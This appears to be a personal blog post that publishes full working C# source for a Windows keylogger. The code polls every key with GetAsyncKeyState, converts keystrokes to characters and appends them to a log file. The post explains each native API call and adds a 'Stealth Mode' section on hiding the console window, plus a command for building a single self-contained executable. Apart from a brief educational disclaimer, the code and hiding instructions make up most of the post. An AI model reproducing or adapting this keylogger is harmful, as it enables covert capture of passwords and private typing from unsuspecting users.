EDDYMENS

An Experimental Windows Keylogger

Table of contents

Update... I have been told I need a disclaimer, so here it is: This article is published strictly for educational purposes. The code and concepts shared here are not to be used for malicious intent.

Introduction

In my early days of learning to program, I always assumed that cpaturing keystrokes acrosss an operating system required writing something extremely low-level, maybe even in c or C++.

Even after learning that was not entirely true, I never actually built anything that needed to capture keyboard input beyond the active application window.

About four weeks ago, that need came up in a project I was working on. I had to fig deeper into how Windows handles keyboard input globally. And this keylogger is just an extension of that work.

If I am going to explore system-wide keyboard capture, I might as well build the "ultimate" Example: A keylogger.

And of course as always, document it.

So here we go.

The Code

01: using System; 02: using System.IO; 03: using System.Runtime.InteropServices; 04: using System.Text; 05: 06: // Native functions 07: [DllImport("user32.dll")] 08: static extern short GetAsyncKeyState(int vKey); 09: 10: [DllImport("user32.dll")] 11: static extern int ToUnicode(uint virtualKey, uint scanCode, byte[] keyState, [Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder receiveBuffer, int bufferSize, uint flags); 12: 13: [DllImport("user32.dll")] 14: static extern bool GetKeyboardState(byte[] lpKeyState); // Figure out key combos 15: 16: [DllImport("user32.dll")] 17: static extern uint MapVirtualKey(uint uCode, uint uMapType); 18: 19: string GetKeyDisplay(int vkCode) 20: { 21: 22: switch (vkCode) 23: { 24: case 8: return " [BACKSPACE] "; 25: case 9: return " [TAB] "; 26: case 13: return " [ENTER]\n"; 27: case 27: return " [ESC]\n"; 28: case 20: return " [CAPSLOCK] "; 29: case 16: case 160: case 161: return ""; // Don't log spaces 30: case 17: case 162: case 163: return " [CTRL] "; 31: case 18: case 164: case 165: return " [ALT] "; 32: } 33: 34: byte[] keyState = new byte[256]; 35: GetKeyboardState(keyState); 36: uint scanCode = MapVirtualKey((uint)vkCode, 0); 37: StringBuilder sb = new StringBuilder(5); 38: 39: int result = ToUnicode((uint)vkCode, scanCode, keyState, sb, sb.Capacity, 0); 40: 41: if (result > 0) return sb.ToString(); 42: 43: // uncaptured keys 44: return $" [{vkCode}] "; 45: } 46: 47: bool[] keyPressed = new bool[256]; 48: 49: using (var logFile = new StreamWriter("logFile.txt", append: true)) 50: { 51: logFile.AutoFlush = true; 52: logFile.WriteLine($"\n=== Session: {DateTime.Now} ==="); 53: 54: while (true) 55: { 56: for (int i = 0; i < 256; i++) 57: { 58: short keyState = GetAsyncKeyState(i); 59: bool isPressed = (keyState & 0x8000) != 0; 60: 61: if (isPressed && !keyPressed[i]) 62: { 63: string display = GetKeyDisplay(i); 64: 65: if (!string.IsNullOrEmpty(display)) 66: { 67: logFile.Write(display); 68: } 69: 70: keyPressed[i] = true; 71: if (i == 27) return; // Exit on ESC 72: } 73: else if (!isPressed) 74: { 75: keyPressed[i] = false; 76: } 77: } 78: } 79: }

The full project source code is available on GitHub [↗].

The Explainer

The applicaiton is written in C# and was tested using .NET 10.

At its core, the program relies heavily on p/Invoke to call native Windows functions from user32.dll. That DLL is where most of the keyboard input magic happens in Windows among other things.

Without it, this implementation would take a different, most likely complex approach, I don't know.

The Infinite Loop

Everything starts with a continuous loop [→] that scans through values 0 to 255.

Those numbers represent all possible virtual key codes on Windows.

For each number , we check whether that key is currently pressed. This is done using native Widnows API calls (User32.dll function calls).

In simple terms:

  • Loop through all possible keys
  • Ask Windows if any are pressed
  • If pressed, process them
  • Log the result.
  • Do it all over again.

The Native Functions Doing the Heavy Lifting

The implementation depends on four key Windows API functions.

  1. GetAsyncKeyState: This function checks whether a specific key is currently pressed.

You pass in a virtual key code ( an integer between 0 and 255) and it returns a short. We then check the high-order bit to determine if the key is down.

It checks the real-time state of a key independently of the program's message loop, hence the Async.

Documentation: [↗]

  1. GetKeyboardState:

Once a key press is detected, we call GetKeyboardState.

This retrieves the state of all keys on the keyboard at that moment.

This helps us identify if the keypress was a combination, for example: CTRL + C

Documentation: [↗]

  1. MapVirtualKey:

The mapping of virtual keys to physical keys is tricky since different keyboard have different layouts not to talk of language differences etc.

MapVirtualKey converts a virtual key code itno a scan code, which represents the physical key on the keyboard.

This helps abstract away differences in keyboard layouts and hardware

Documentation: [↗]

  1. ToUnicode

Once we have , the virtual key code, turned it inot the corresponding scan code and also the full keyboard state, the next step is to fetch the actual human recognisable character that we are all familiar with: unicode.

For this, we reply on ToUnicde another user32.dll function.

Documentation: [↗]

Looging the Output

With the Unicode character in hand, we go ahead and log it in logFile.txt.

Stealth Mode

By default console projects in C#, even after compiling always present a console window when executed. In this case we don't need it.

You can change the within the project file KeyLoggerApp.csproj [↗] from exe to WinExe to hide the console once the applicaiton is compiled.

This means the only way to kill the application is by using the Task Manager (or the process ID) to terminate it. During development use the esc key to kill the application.

Single Binary Build

You can publish the project as a single self-contained executable using:

$ dotnet publish -c Release --self-contained true -p:PublishSingleFile=true -p:PublishReadyToRun=true -p:IncludeNativeLibrariesForSelfExtract=true

The key flag here is:

$ -p:PublishSingleFile=true

Helpful resources

These were extremely useful while building this:

PINVOKE.NET [↗] in particular was invaluable for figuring out correct function signatures and usage examples.


[Back to table of content]